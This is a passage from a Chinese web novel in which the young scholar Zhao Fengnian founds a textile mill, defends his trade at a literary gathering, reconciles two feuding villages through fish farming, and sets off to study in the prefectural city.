“伯娘,其实,我们的人选也未必就只能盯着那些会织布的妇人,还有不少女孩子,家里穷,只能做些杂活,虽没接触过织布,但是只要给她们一个机会,她们一定会抓住机会成长起来,我的想法是,先招十个有基础的,再招十个没有基础却性格合适的,有基础的上手不难,就可以让她们再带着没有基础的,这样伯娘也无需手把手的教,我之前就说过,纺织厂我想要挂在伯娘名下,后面很多事情还需要伯娘出面,我需要伯娘尽快成长起来,不知道伯娘考虑如何了?” 这就是赵丰年的打算,将自己的产业挂在其他信得过的人的名下也是当朝很多人会选择的一种方式,只不过有钱人可能是挂在自己家的奴仆名下,然后把持着卖身契,毫无后顾之忧。 陈莲犹豫了,“宝儿,你,你当真这样信得过伯娘?” 赵丰年笑了笑,“用人不疑,疑人不用。” 陈莲想了想,终究是下定了决心,“好,我愿意,就如你所说,另外,我还有个要求,宝儿,你帮我办女户吧。” 赵丰年惊讶。 “我深思熟虑地想过了,如今我和离了,没人把我当作陈家人,也没人把我当作赵家人,可是倘若你真要把纺织厂挂在我的名下,哪怕我们签了契书,终究是存在隐患,我也不怕告诉你,我信不过我的兄嫂,如此一来,我办女户是最好的法子。” 赵丰年正要开口,陈莲却继续了,“你不用劝我,其实,这也是我自个儿的私心,我想要自己立起来,也知道立女户难,但是我也相信只要是宝儿,就一定能做到。” 赵丰年没话说了。 本朝除非是父母丈夫双亡,又无兄弟姐妹的女子方会立女户,就是这样,也会被人瞧不起欺负,若不是为了自己,陈莲应该不会轻易提出立女户。 “好,我答应你,伯娘。” 第45章 第45章文会(捉虫) 就在赵丰年跟陈莲谈完的第三天,赵丰年听说赵小云跟赵青青去了纺织厂。 “自打上回出了那件事,你贵二伯跟伯娘总算是开窍了,如今对小云那才叫好,都说他们夫妻俩这是打算把前十五年欠小云的补偿回来呢。” 赵丰年听说过这事,赵大家如今是分家了。 赵来贵在制油厂做事,不缺钱,分家的时候只要了六亩地,这些日子已经在起房子了,眼看着也是越过越好,赵丰年也为赵 小云感到高兴,他原本就想问问赵小云愿不愿意去纺织厂做事,只是没想到他还没提,赵小云就已经去了。 “你二伯娘起先还不让青青去,说是家里得留人干活,还去陈家湾找你三伯娘闹呢,结果一听每月能拿到二钱银子,立马就变了脸,好说歹说,把姐妹俩都给送了过去。” 赵青青此前来找过赵丰年,说她想让赵翠翠去纺织厂做事,她自己则留在家里干活。 “要是一下子都只要咱们家的人,怕是会被人说嘴,别到时候人家得说三婶不公了,翠翠虽然说话慢,但是她很聪明的,学东西也快。” ——这是赵青青的原话。 “如果一个人做出了一番事业来,却不能叫在意的家人都过上好日子,那也不尽如意,纺织厂本就会优先考虑需要帮助的人,又何必舍近求远呢?” 赵青青当时听了并未给赵丰年回复,如今看来,她也是想去的,只不过被王小红拦住了。 “能进纺织厂是好事。”赵来贺总结。 “可不是,你都没瞧见这些日子那头有多火热,就是周头那边还有人送女儿来呢。” “周头就有些远了吧?得有好几十里呢。” “二钱银子,就是为了这个雇个牛车来回也是合算的。” 赵来贺一琢磨,还真是这么一回事。 不过,陈莲可不敢招那么远的,赵丰年跟她提过,安全第一,万一这住的远的路上出了什么事,又都是姑娘家的,到时候没法跟人家家里交代。 等以后纺织厂做大了,人也多了,届时由纺织厂用自己的牛车专门来回接人倒是行得通。 是以,那些离陈家湾远的几个村子都纷纷叹息,只得看着其他选上的村子兴高采烈了。 就在纺织厂如火如荼建造的时候,运输队即将再次前往府城,这一回他们带的油更多了。 临走前,赵丰年找到了柳小尺。 “买铺子?” 赵丰年点点头。 “我们在府城得有个地儿,一来方便运输队落脚放货物,二来是方便想买咱们油的商户能找到咱们,如今我们只是卖油,纺织厂那边陈师傅已经在带着女工织布了,下一回我们打算拿几匹分别去县城跟府城试试水,有个自己的地方更好行事。” 柳小尺听了也觉得好,笑道“那得挑一个带大院子的了。” “县城的油铺我是聘了族里的一个叔伯,府城那边也得留人,这回你们运输队去府城,小尺哥你帮我留意一下运输队里有没有合适的人选。” 柳小尺欲言又止。 “说到人,我现在就能给你推荐一个,宝儿,不知道你还记不记得孙阿牛?” 孙阿牛就是柳家村那个瘦得跟竹竿似的少年,赵丰年自然记得,上回在县城庆功宴上,他还上前以茶代酒来感谢赵丰年,人比以前开朗多了。 “小尺哥想要推荐他?” “你可能不知道,阿牛哥身世挺可怜的,他爹是当年北边打仗闹饥荒逃难的,到了柳家村才定下来,结果他十岁那年人就去了,他娘在族里的帮扶下把他拉扯大,也落得一身毛病,家里的田地都卖光了治病,他就帮人家干活给他娘买药,孝顺不说,还懂回报,这一路上学东西也很快,脑子也灵活,其他人倘若去府城,怕是还要考虑道家里的人,倘若是阿牛哥,他没什么牵挂,到时候直接把孙大娘一起接过去反而方便无牵挂了。” 赵丰年思索一番,这样一听,孙阿牛确实是比较合适。 “不如这样,下回回来的时候,宝儿你再考察考察他,找他谈谈?” 赵丰年便笑了,“看来小尺哥出去一趟,果然大有长进了,人也成熟了不少。” 小尺笑着挠头,“以前待在家里不知道,出去一趟才知道做生意那么多门门道道,多亏了大力叔帮我,否则我肯定做不好的。” “大力叔的提携是一方面,重要的是小尺哥你有这方面的天分又愿意学,我跟大力叔也说了,这一回就要放手让你自己做了,他会在一边看着,你只管放心大胆往前走。” 柳小尺感动不已。 这回运输队直接从赵家村离开。 运输队离开后,赵丰年便接到了顾子升的帖子,邀他去县城参加一场文会。 到了地方赵丰年才知道是府城的周学政组织的文会,连顾家村的顾小秀才跟陈家湾的陈秀才都来了。 “上次一别,你竟又弄出了一个纺织厂来,实在是英雄出少年。” 上回见面还是赵丰年考中秀才宴请那会儿,顾家村两位顾夫子带着贺礼上门,都为赵丰年感到高兴。 顾秀才上回又参加了一次乡试,依旧榜上无名,他笑称往后只当一个教书先生,但是今日在这里见到他,赵丰年便知那句“教书先生”才是戏言了。 赵丰年问候了几句顾老秀才,两人交谈了片刻,陈秀才这才上前搭话。 “陈夫子有礼。” 陈夫子回了一礼,笑道,“赵秀才院试那篇文章老夫反复研读,还让私塾里的学子通读背诵,实在是精辟。” 赵丰年自是谦虚。 “赵秀才太过谦虚了,不知赵秀才今日可带了文章来,也好叫我瞻仰一番,我近日有感而发,偶得了一篇文章,还想让赵秀才品评一二。” “陈夫子言重了,我一介后生,比不得陈夫子耕耘不辍。” 顾秀才也笑,“你确实是后生,可后生可畏,是要把我们这些人都比下去了。” 顾秀才说完,转头又看相陈夫子,“陈夫子教书育人,于文章上不断追求,实在是我辈楷模,不似有的人,说是读圣贤书,却只听闻了几句流言蜚语,竟是弄得这文会也乌烟瘴气了。” 顾秀才说的是几个贬低赵丰年铜臭的县城学子。 “读书人还是要以圣贤书为本,万不能舍本逐末,学了那商贾之流追名逐利失了本心。” “小时了了,大未必佳,多的是伤仲永的,如今看来,就在我等之中呢。” 赵丰年听了这话还没什么反应,顾秀才跟陈夫子就先坐不住了。 “诸位人云亦云,只听片面之词就妄下定论,实非君子所为!” 这时,主持此次文会的学政听到动静出现了。 周学政曾是赵丰年那场院试的学政,他原本很是欣赏赵丰年的才学,也觉得他一个农家子走到院试不易,还特意关照过府学那边是否有一个叫做“赵丰年”的学子前去报道,却得知他中了秀才后,根本没去读书不说,反而流连乡里,做起了买油的生意,近日来又弄了个什么纺织厂,跟女子织布有关,当即就对赵丰年印象变差了。 这次文会邀请的是临县及周边有秀才功名及以上的学子,周学政本没叫准备赵丰年的帖子,未料想临县县令却替赵丰年要帖子,周学政只得捏着鼻子给了一张出去。 方才他一直关注着学子们的交流,听到这边动静赶过来一看,第一反应竟是——好一个俊秀的少年郎! 等得知这风姿绰约、文质彬彬的小少年竟就是赵丰年,当即就沉了脸。 “你就是赵丰年?赵学子,今日乃是各位学子交流文章的文会,你引得众怒,是否不太恰当啊?” 赵丰年先是跟众人一起行礼,这才又拱手,“学生扰了文会清净,乃是学生之错,只是,我以为今日学政举办文会,是体恤我等读书人,为我等提供一个交流之处,却未想到,竟有学子辜负学政心意,背后嚼人口舌,肆意污蔑他人,比之那村间乡野更有过而无不及,委实令人伤心。” 周学政看了他一眼,没因他三言两语转变,“这么说,你并无有行买卖商贾之事了?” “学生却有行买卖之事。” 众人再次议论起来,赵丰年却朝周学政再次拱手,“学生敢问学政治,我等读书为何?” “自然是报效朝廷。” 赵丰年却笑,“学生以为,此言对,却不全对,”见周 学政看过来,他继续道,“我等读书,无非是为了科举为官,而后报效朝廷,可如何报效朝廷?” “做了官不就是报效朝廷了!”有人回道。 “有人居庙堂之高,有人外放乡野,在朝堂之上出谋划策制定规则的是报效朝廷,外放到各地为官帮助改善各地民生的也是抱效朝廷,唯有两者结合,方能说一句抱效朝廷,这才是我等读书的目的。” “赵丰年,你到底想说什么,你一个读书人行商贾之事,跟抱效朝廷可不沾边。” 赵丰年看了眼那学子,继续,“大人,你可知道,我这丰收油一斤售价几何? 是二十文,而如今,随着我们赵家村制油厂的扩大生产,丰收油已经降到了十五文,而在丰收油出现之前,老百姓只能逢年过节买一点猪板油,三十文一斤,熬成猪油半斤都不到,百姓们已苦油价贵久矣,我相信在场的各位早已经体会过丰收油的物美价廉,用十五文一斤的丰收油,代替六十文一斤的猪油,就能让百姓们肚子里有油水,如此,还不算有利民生,报效朝廷吗?” 众人安静了片刻,只见又一人指出,“那这也是为你赵家牟利。” 赵丰年挑眉,“这位学子此言有趣,我们出了人力物力,莫不是要不求回报做白工才好?那我们赵家村人何以生存?诸位在外买东西难道可以说人家卖的东西好就不给银钱了?” 众人再次沉默,只是有人默默地跟那说“牟利”的学子远了几步。 “谁人不知,我赵家村的制油厂让整个赵家村家家都不用再食豆饭,月月能吃上肉,就是附近的其他村子,也因为我们赵家村制油厂生活富足起来,如此,还不算为国为民,报效朝廷? 至于纺织厂,大人,衣食住行是老百姓最关心的事,我见陈家湾空有织布的手艺,百姓却依旧贫苦,便改良了纺织机,提高了纺织效率与质量,帮他们建纺织厂,好让更多的人能赚到钱,而百姓们也有便宜的布匹制衣,这可算利国利民,报效朝廷?实不相瞒,无论是这制油之法,还是改良的织布机,我早就献给了朝廷,陛下爱民如子,相信未来,我大夏的百姓都能菜里有油,不愁衣穿。” 众人彻底哑口无言了。 单论赵丰年的事迹,如果这些都不算为国为民,那他们这些人当真就是“百无一用是书生“了。 “好,赵秀才大义!”不知谁带头喝了句彩,顿时众人纷纷喝彩。 周学政复杂地看着这丰年,“赵学子,你确实能担得起一句‘为国为民’,少年英才,只是本朝已以农为本,你让百姓做生意,百姓获益,便会忽视耕种,久之岂不是动摇国之根本?” “周大人,不知您可知堆肥之法?” 周学政点头,“那是自然。” “学生不才,正是推出堆肥之人,百姓若是耕种获益不够,也会从事小商贩买卖,但是倘若种地也能收获养家尚有结余,并不会轻易放弃耕种,士农工商,也不是所有的百姓都愿意从商,但是大人所言确实是一个问题,这就要朝廷官府推出相关政策了,目前,临县顾大人已经推出了相应的政策保障此事,因此,学生不敢所作所为适合所有地方,是为局限。” 谁不知道临县县令跟赵秀才相交甚笃。 周学政感叹,“既然如此,是本官想岔了,看来,你早入官场方是我大夏之幸,不知,你打算何时去府学报道读书?” 赵丰年微笑,只得应下周学政一定早去,不会耽误科举。 直到这天临走的时候,周学政还在拉着赵丰年,劝他早去府城,还问他是否拜师。 “我知道江伯远江山长这些日子正在岚洲城,他与当今大儒傅青云乃是同门,如今是青州书院的夫子,我早些年曾在他门下读书,你若得了空不如走一趟岚洲城,我写一封信替你引荐。” 能得这样一位老师实在是旁人羡慕不来的,赵丰年自然也不会拒绝,谢过了周学政后这才回去。 赵丰年只当这场风波已经过去,便投入到纺织厂了,却不知外头关于他的事已经传遍了整个怀江府,甚至传到了岚洲下面其他几个府,这回真是闻名了。 起因是有人将临县文会上,赵丰年的问“何为报效朝廷”写成了文章,得到了周学政的高度夸赞,怀江府下面的各家私塾书院便争相传阅,看看是什么样的文章得了周学政的赞赏。 等大家读完文章后,不仅对文章纷纷夸赞不已,也彻底记住了赵丰年这个还未走上官场就开始做了一番利国利民之事迹的少年英才。 随之事情的进一步发酵,最后竟是还在岚洲城等好友的江伯远都读到了这篇文章。 “周怀文前几日来信,信里才夸过他,没想到今日我竟又听到了这个名字,看来合该是我跟他有缘了。” 傅青山去年刚辞去太子太傅一职告老还乡,江伯远来岚州就是来跟他见面的,此时,看完那篇文章的傅青山也笑着点头。 “此文行云流水,又妙趣横生,确实为一篇不可多得的佳作,只是写这篇文章的陈如水不知是何人,倒是没听说过此人名头。” 江伯远便笑,“你啊你,只看到了这文章的行文,难不成没看到此文中的英才?” 傅青云也笑,“说到此子,我依稀记得,立民兄的弟子也曾夸过他。” “周立民?他居国子监祭酒,但凡在里面的都能算作他的弟子了,你说的是哪一位?” “你啊,还是这么促狭,自然是他那位亲传弟子了。” “原来你说的是顾家那位蒙祖荫却外放做官的那个?那小少爷也算是有一把骨气的,莫不是,他刚好去的就是怀江府临县?那还真是巧了。” 傅青云笑,“确实是巧,我打算安置好后便回村祭祖迁祖坟,正要经过临县,你倘若有意,不若我先替你瞧瞧把把关如何?” 江伯远抚掌大笑,“甚好甚好。” 赵丰年还不知道即将被人考察,陈家湾那边传话说纺织厂好了,陈莲也带着二十号人织出了第一批麻布,特意请他过去瞧瞧。 顾子升正在赵家蹭饭,顺便告诉他陈秀才那篇文章已经传到了岚州城。 “真是想不到,陈秀才竟还有这样的好文采,你不知道,我读了那篇文章到现在都觉得热血沸腾!” “陈夫子确实文采不错。” 赵丰年前两天才读到那篇文章,刨除那篇文章里对他的各种彩虹屁,确实是一篇难得的佳作。 顾子升嘿嘿一笑,“我还特意寄给了我老师,让他也瞧瞧,临县才不是什么穷乡僻野,也是有很多能写出好文章的文人的!” 赵丰年微笑,“说来,你来临县也三年了,是不是要调任了?” 顾子升叹了口气,“许是的,我去年的考评是上优,说不准要去府城,张谦已经收到调令了,任户部员外郎,不出差错我应该是顶张谦的位置。” 张谦任通判一职,正六品的通判到从六品的户部员外郎,听着是降了,可这是从地方调到京官,又是在户部,张谦这是实打实的高升,倒也应了赵丰年起初那番话了。 “这是好事,你叹气做什么?” “我就是觉得,当个父母官挺好的,我也不耐烦处理那些文书。” 只是当官哪里少得了处理文书。 赵丰年跟顾子升赶到陈家湾,看到了那些麻布,便也笑了。 “这个是麻布?”顾子升上手摸了摸。 “是麻布,比先前的织布机织出来的可细腻柔软多了,只是这织布速度起来了,怕是村里的苎麻就不够了。”陈莲有些愁,以前不吃不喝得在织布机上花费一天的功夫都不一定能织出一匹布来,如今动作娴熟的话,甚至八匹布都不是问题,奈何原料却跟不上了。 “怀江府下面种苎麻的地方不少,倒是可以收购,远的不说,柳家村就有几家种苎麻的。” 陈莲笑,“青青跟你想到一块儿去了,村里都在说明年多种苎麻,我也跟村里谈过了,等后面产量上来了,再供应不上村长会派人去外头找货源。” 赵丰年只看到了陈莲的成长,却没想到听到了赵青青的名字,索性问了几句。 “都好,青青帮了我不少忙呢,我也是没想到她跟翠 翠竟跟你学了字,让她当个织娘倒是埋没她了,我想着,往后让她帮我一起帮我管理。” 赵丰年自无异议,“青姐一向聪明,伯娘慧眼识珠。对了,之前伯娘说的女户一事,不日就能办下来,只是,伯娘可同陈夫子提过?” 顾子升又看了过来,他的治下,自然是他给办的,在听说了陈莲的事情后,顾子升对她想立女户一事举双手赞同。 陈莲笑了笑,“自是谈过,我爹倒没什么,至于其他人,我理会她们做什么。” 陈莲立女户一事还是在陈家湾引起了轩然大波。 “自古只有父母兄弟都没了才立女户,哪有父亲兄嫂都在还立女户的!这可是大不孝啊!” 陈家也闹得厉害,要是放在以前,陈莲要出去自己住,陈家两个媳妇绝对二话不说,可如今眼看陈莲有大本事了,她们如何愿意把这尊佛推出去,还指望慢慢跟她修复关系拿好处呢。 陈家结结实实闹了两天,陈家湾也看了两天的笑话,最后是陈秀才站了出来,宣布要跟陈莲断绝关系。 这话一出,顿时让人吃惊不已。 陈莲知道父亲为自己着想,红着眼睛同意了。 而后,陈莲便带着两个女儿立了女户,新家就在纺织厂隔壁。 立了女户当天,陈莲就将父亲接到了家中小住,直等到过完年才送回去。 这下大家有什么不知道的,合着陈夫子是为了女儿能立女户不被两个嫂子吸血才断绝关系,人家父女关系好着,说是断绝关系了,难不成还有人拦着不让来往了不是。 “陈夫子拳拳爱女之心,实在令人感动。” 第46章 第46章去府城啦(捉虫) 年节底下,运输队又跑了两趟县城,回回丰收油都供不应求,最后一次,运输队带上了陈家湾的麻布。 本来众人还在担心府城之人嫌弃这是麻布,却没想到他们的麻木细腻柔软,几乎是刚推出就受到了追捧,听闻下一批货要等年后,那一批麻布竟短短几日就销售一空。 纺织厂的头一仗就如此顺利,陈家湾就更让人羡慕嫉妒了。 而这个时候,上河村下河村的村长却不约而同地登了赵家的门。 听完两村长来的意思,赵丰年很是无奈。 “谁人不知小赵秀才就是点金手,做的都是大好事,赵家村、柳家村还有陈湾村都是受了小赵秀才你的指点才能富裕起来,过上好日子,更别提早几年的堆肥了,那是让我们整个怀江府下面都受益的,只是你看看,如今周围几个村子,除了顾家村,就我们大河村还苦着呢,我们大河村又不比周头那边地多,能种的粮食也多,这日子过得是紧巴巴。” 大河村村长刚说完,下河村村长就不乐意了,“什么就你们上河村,我们小河村才是最苦的,本来前几年田地就被水淹了不下三分之一,这几年都没能恢复起来,如今我们村的地是最少的,那日子才叫真的不好过!” “那也是你们起初围河床造田地造的孽。” “王大牛,都是一个祖宗的,起初你要是不拦着你们村的人来帮忙疏通河道堵缺口,我们的田跟地至于被淹吗,说来说去还是你们大河村见死不救!” 眼看两人就要吵起来,赵丰年连忙制止住了。 说起上河村跟下河村,那是积怨已久了,两村人光是见面看一眼就能掐起来,赵丰年头一回跟赵来贺去县城缴粮税的时候就曾看见过两村村民发生冲突,如今竟还是一样的。 上河村跟下河村本是一个村,这也是下河村村长说一个祖宗的缘故,后头因为产生了分歧分为了两个村子,问题就出在下河村想要多一点土地,因此围河岸开荒造地,导致上河村那一截河水河面抬高,某一年下大雨河道改道淹了不少地。 于是前两年又一场大雨,眼看下河村围起来的河坝也要破溃,下河村去上河村喊人帮忙,上河村没一个来的,下河村瞬间淹了三分之一的地,好在是人没事。 这下两村是彻底撕破脸皮了。 赵丰年想,这两人估计也是碰巧凑到了一块。 “牛大叔,王二叔,并非是我不肯帮忙,反而,针对你们两村,我确实有个想法,或许可以帮到你们,只是这个想法不容易做到,又或许说,根本就做不到,所以,你们两位还是请回吧,恕我帮不上忙了。” 两人急了。 “不是说有办法吗?你不说出来怎么知道我们做不到呢,我们上河村肯定全力配合!保证做到,至于下河村,做不做到管他们呢!” “呸,我们下河村已经决定一切都听小赵秀才的了,我们才是一定能做到做好!” 赵丰年笑了笑,“我这计划的前提就是两村重归于好,这也能做到吗?” 两人懵了。 “两位还是请回吧,等什么时候想明白了再来找我不迟。” 上河村跟下河村村长刚走出赵家大门,迎头就碰上了顾家村的人,两人当即对视一眼,连忙回村商量去了。 两人也是误会了,顾家村的人是来找赵来贺的,并非赵丰年。 年后,纺织厂越发火热了,厂里的麻布广受好评,都说这改良后的织布机纺出来的麻布跟以往的麻布大不一样,这麻布轻柔透气还耐磨,老少皆宜,关键是比镇上城里的麻布可便宜多了。 至于丝绸,那本身也不在平头老百姓的选择里,一时间,整个临县甚至府城,都兴起了过节送麻布的风潮。 也就是在这个时候,顾子升的调令终于下来了。 怀江府同知,正五品的官。 顾子升收到调令还很惊讶,这是直接跳过了六品通判,直接升了四级。 “于同知去年就调走了,我还以为朝廷会再派人过来呢,没想到,竟叫我赶上了。” 赵丰年恭喜了他,顾子升却显得很惆怅。 “往后我岂不是要一个人在府城了,咱们见面的机会也少了。” 赵丰年却笑了,“这可说不准,我已经决定再过些时候就去府学读书。” 顾子升眼睛瞬间亮了起来,“年前那会儿我问你你还说在考虑呢,你真不打算去青州了?” 说来也是有意思,过年那会儿,怀江府隔壁几个府城的书院纷纷给赵丰年下了帖子信函,十分客气又诚恳地邀请他去他们那边读书,甚至还有封青州的,这可是跨了一个州! 虽说周学政提过帮自己引荐,届时有了消息再告诉他,但是赵丰年目前尚未接到周学政的递话,只当他暂时不得空,所以也没往这方面想,等看了青州的信,只当是周学政帮自己提了一嘴,那位江大儒怕是没看上他,碍于情面便给了他一张入学的凭证。 赵丰年一一回了信函,到了回青州书院那一封的时候,斟酌了许久,最后只表达了感激惶恐,说路途遥远,不便前去青州,他日定上门拜访求学之类的。 不知是不是听说了这事,怕好苗子被别人抢走了,怀江府府学学政竟然连忙送了信来,还奉上了现任刘知府的亲笔书信,表示很欣赏他的才学,让他务必要早日入府城官学,言辞恳切。 看得赵丰年好笑不已,也回了刘知府跟府学学政的信,只说会尽快去入府城官学。 “青州太远了,确实不便。” 赵丰年跟顾子升提过周学政想替他引荐青州书院的江山长做老师一事,顾子升起先还为他感到高兴,后头知道青州那边只是给了一封邀请入学的信函,当时就不满了,此时听到赵丰年 说青州太远,怕他想起被人拒绝心里难过,赶忙附和。 “对对对,太远了可不方便,大叔大婶都在这里,你一个人跑去青州,他们铁定担心!要我说,是那刘伯远没眼光,也没啥好的,不如这样,你拜我老师当老师怎么样?虽然没有江伯远名声大,但是也能比过一大帮子人了!” 顾子升越想越觉得好,恨不得立马就去写信。 赵丰年早就猜到他有个很厉害的老师,而且两人从未断过通信,只是哪有替自己老师认徒弟的,当即拦住了他。 顾子升不太服气,等到晚上,越想越气,果然还是写了一封信说明了缘由,第二天一早就让人送去了京城。 京城这边,周立民这些日子过得既充实又空虚,充实是他远在怀江府的弟子三天两头来信,告诉他那位至交好友又干了什么大事,回回都叫他拍案叫绝,前几天还读到了一篇“赵秀才问何为抱效朝廷”的文章,字字珠玑,实在酣畅淋漓。 而空虚,自然是等信的那几日了。 今日又是取信的日子,周立民还在国子监,特意命下人取了信直接给他送到国子监来,等国子监的仆从说有他的信送到,周立民更是片刻都等不及就连忙取来打开。 上回正说到岚州底下各府城纷纷邀请赵秀才到他们府城书院官学读书呢,这次赵秀才应该考虑清楚了去哪里了吧? 是去青州还是去怀江府隔壁的晋阳府呢?他个人是推荐去青州府的,虽说晋阳府这两年出了好几个才学不错的,但毕竟青州书院有江伯远那人坐镇,绝对不会浪费了赵秀才的才学。 只是等他看完信,周立民当即拍着桌子气得直瞪眼。 正巧国子监监丞过来取书,见状很是疑惑。 “何人惹祭酒如此不快?” “呔!好个江伯远,当真是不识货,赵秀才能给他当弟子那是他上辈子修来的福气,他倒是还嫌弃起来了!这么好的弟子,他不要我要!” 监丞:起猛了,看见祭酒骂江大儒了 以及,祭酒这莫不是看了哪里新出的跟江大儒有关的话本? 周立民这边为赵丰年叫屈,另外一边,傅青云也到了怀江府。 “这怀江府倒是比以前更热闹了。”傅青云隔着车窗看着前方排队入城的队伍,不禁感叹。 “算起来,老爷离开怀江府也有四十多年了,怀江府自然是越来越好的。”一旁的管家笑道。 傅青云也笑,“是啊,越来越好了,家里老宅都修整好了吗?” “都齐整了。” “一会儿进了城你们先送夫人、姑娘回老宅,我去拜访一位故人,晚些时候再回去。” “是,老爷。” 得了信的管家来到了队伍中间的一架稍小一些的马车,隔着车窗传话。 “老夫人,姑娘,老爷叫我跟夫人姑娘说一声,一会儿老爷要去拜访故人,叫咱们先回老宅修整。” “这会子还没到家呢就想着访友了。”一道妇人声音传出。 随机便是一道悦耳的少女笑声,“知道了,林爷爷,烦您替我跟祖父说一声,少饮酒。” 那林管家笑着应了。 其他等着排队入城的人也留意到了这一行人,虽然府城里每天都人来人往,这样一看就知道大户人家出行的还是少见。 柳小尺带领着的运输队刚好就排在傅家的队伍后面。 “嚯,老大,这家人肯定贼有钱,你看他们的马车,一看就很贵!后面那车上的行李肯定有不少好东西呢!” 这话一出,傅家的家丁侍卫立马纷纷转头警惕地盯着他们。 说话的运输队成员挠挠头,“咋了,他们怎么跟防贼似的盯着咱们?” 柳小尺无奈,自然是方才那话听着就不对劲啊。 出门在外,尽量少惹是生非,尤其是前面看起来非富即贵的,别到时候找他们麻烦耽误了生意就不好了。 见状,柳小尺走上前,跟其中一个领头模样的侍卫抱拳道歉,“抱歉,我这兄弟口没遮拦,还望见谅,我们并无坏心,只是去府城送货的村民。” 那侍卫看了眼他身后的身材魁梧的柳大尺,面露怀疑。 “这是我哥哥,他自小就比别人壮,我们是赵家村的运输队,这一带都知道,兄台不放心也可以问问其他人。” 这时旁边看热闹的人立马就替他们说话了。 那侍卫又瞪了眼刚才说话的人,这才作罢,前去跟管事回话。 “送货的村民,说是赵家村运输队的。” 傅青云正在车厢中假寐,闻言便问,“哪个赵家村?” “回老爷的话,是临县底下的一个村子,据说每隔几日都会往返府城送货。” 傅青云没想到竟然这就遇到了,笑着摇摇头,“去问问,他们东家是不是叫赵丰年赵秀才,送的可是丰收油。” 那侍卫有些惊讶,当即又朝队伍后方走去。 不多时侍卫回到前头,手上还提了一个大瓦罐,“回老爷,他们东家正是叫那个名儿,见我问起丰收油,说既然是他们东家认识的人,便送一罐油给老爷尝尝鲜。” 傅青云再次笑了,“真不愧是他。” 侍卫看了看林管家,正要问这油怎么处理,便听马车里的人说道,“把油留下吧,回头送到厨房里,咱们也尝尝这寓意丰收的好油。” 林管家笑了,“是。” 这边小插曲过去。 上河村跟下河村终于下定了决心再次找到了赵丰年。 “两村本来就出自同宗,如今愿意摒弃前嫌,将来才能越来越好,两位王叔能想通并劝动村民,实在是大义。” 两边村长本来还有些别扭,听完赵丰年的话,瞬间就觉得自己是村里的大功臣了。 “我想说的办法,是养鱼。” “养鱼?”两村村长对视一眼,都是一脸茫然。 “上河村跟下河村本就就位置优越,河水落差小,河面宽阔平坦,水量充沛,只要下河村愿意把此前围的田地恢复回去,那一片就是个天然的渔场,两村合力发展鱼业,大有可为。” 两位王村长都有些为难。 “小赵秀才怕是不知,那鱼生长都在水里,自生自灭的东西,抓多了就没了,又不是养多少就有多少,如何能长久做下去呢?” “这就涉及到休养生息了,我们都知道,春天是万物繁衍的季节,这个时节我们就要休渔,鱼也可以养殖,并非是自生自灭,制作鱼粮,撒网,喂鱼,都是有讲究的,你们祖祖辈辈都生活在河边,相信比我更懂这些。” 上河村村长思考了一番,忽然说道,“村里的老人以前是做渔船上河面捞鱼的,只是倒未想过可以自己做鱼粮喂鱼。” “倘若将那边一块河面用网围起来,那鱼就在里面,是不是就跟抓回来养在家里水盆里一样了。”下河村村长也补充了一句。 所以说,赵丰年从来不小看古人的头脑。 两村村长越发觉得可行,当即拜谢过赵丰年要回村讨论,只说等弄好了章程再请他掌眼过目。 赵丰年自是答应下来。 很快,上河村跟下河村重归于好还打算一起养鱼的事就传遍了。 大家一打听,发现这些日子两村村长经常来回赵家村,顿时就明白了,好嘛,赵秀才又当了一回点金手,这回一下子就帮了两个村子,还叫两村回归同一个祖宗了,实在是功德无量。 这下子更多的人想找赵丰年出主意了。 只不过这些人也注定扑个空了,因为赵丰年准备上府城读书去了。 赵丰年去府城读书,赵来贺跟巧娘肯定是要一起去的,就是赵丰年想要一个人去,赵来贺巧娘也是不放心的,因此,赵丰年前段日子就让柳小尺替他在府学附近置办了一座宅子,只等收拾收拾就能住了。 赵丰年原本交代柳小尺找人帮他们提前打扫好,却被巧娘拦下来了。 “不就是几间房子嘛,不是什么重活,我跟你爹去了打扫就成了,别花那冤枉钱!” 巧娘习惯了节俭,赵丰年没有再坚持,只想着等到了地方看看,倘若要修补的,还是要请了人来。 走之前,赵丰年给制油厂跟纺织厂都做好了安排,制油 厂的厂长如今是赵来贵,十分感激赵丰年,当初得知要让他做厂长,赵来贵一个大男人,险些感动得哭了,当场就指天发誓一定会替赵丰年好好经营制油厂。 赵丰年给两边都留下了府城的地址,让他们有什么事只管去府城找他。 家里的地则是交给了赵老头赵来金,农忙的时候赵来贺巧娘再请人帮忙,地里的收成给赵来金家一成,王三娘听了脸都笑开花了。 然后,赵家一家还有大胖就前往府城了。 大胖是他娘硬塞过来的,王三娘自然是为给儿子某个前程,生怕赵丰年去了府城,时间久了就把大胖忘了,谁不知道,跟着赵丰年才是前程无量,村里其他人只说王三红心眼子多,但是赵大胖确实能干,赵丰年便也没说什么。 顾子升原本想跟他们一起走,奈何府城同知的位置空了快一年有余,张通判也已经赶赴京城了,刘知府又是个不管事的性格,正有一堆的公务堆着,便来信催顾子升赶紧上任。 刚巧临县新来的县令也到了,交代完该交代的,顾子升跟赵丰年约好府城见,就先走一步了。 “家里的地倒不用着急,有爹娘还有大哥看着,就是去了府城,进不了山林了,我这心里总憋得慌。”刚上车,赵来贺摸着来福的狗头,有些不是滋味。 这回去府城,把家里三只狗都带上了,按巧娘的话说,就是府城还比不上村子里安全,看家护院的狗可少不了。 “你要是想了,只管套了车回村,跟谁拦你似的,再说,大尺小尺他们一个月来回好几趟,都不用你自己赶车了。” 赵来贺一想,顿时就乐了,“也是,还能看看地里的庄稼。” 得知赵丰年要去府城读书,众人都十分不舍,送行的人都走到了村口,只见又多了其他几个村子的人。 最后是赵大力站出来劝大家回去。 “乡亲们,丰年只是去府城读书,逢年过节还会回来的,咱们就别耽误孩子了!” 巧娘看得眼泪汪汪,“瞧瞧,这就是咱儿子的本事!” 刚出了村口没多久,路上便碰到了一个车轴陷在石头缝里的马车,赵来贺赵大胖忙上前去帮忙,赵丰年却留意到一旁站着的老者。 老者一身半新不旧的长袍,头发胡须斑白,身形笔直,带着几分儒雅随和,不像是能出现在这种乡间小道上的人。 许是注意到赵丰年的目光,老者看向他,微笑,“好一个风度翩翩的少年郎,你就是赵丰年?” 